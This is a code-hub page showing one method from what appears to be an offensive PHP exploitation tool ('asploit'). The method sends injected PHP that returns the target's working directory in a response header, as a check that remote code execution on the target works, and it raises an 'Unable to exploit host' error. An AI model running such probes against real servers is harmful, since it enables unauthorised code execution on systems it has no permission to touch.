MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__make_connection

Method _Base__make_connection

src/PHPExploitProcessor.py:57–65  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

55 @brief See base class for details.
56 """
57 def _Base__make_connection(self):
58 try:
59 return self._Base__send_message(f"header('{self.header}: '"
60 f" . getcwd());"
61 f"exit;")
62 except:
63 raise CommandException(f"Unable to exploit host. Make sure the "
64 f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, "
65 f"and METHOD are correct.")
66
67 """
68 @brief See base class for details.

Callers

nothing calls this directly

Calls 2

_Base__send_messageMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected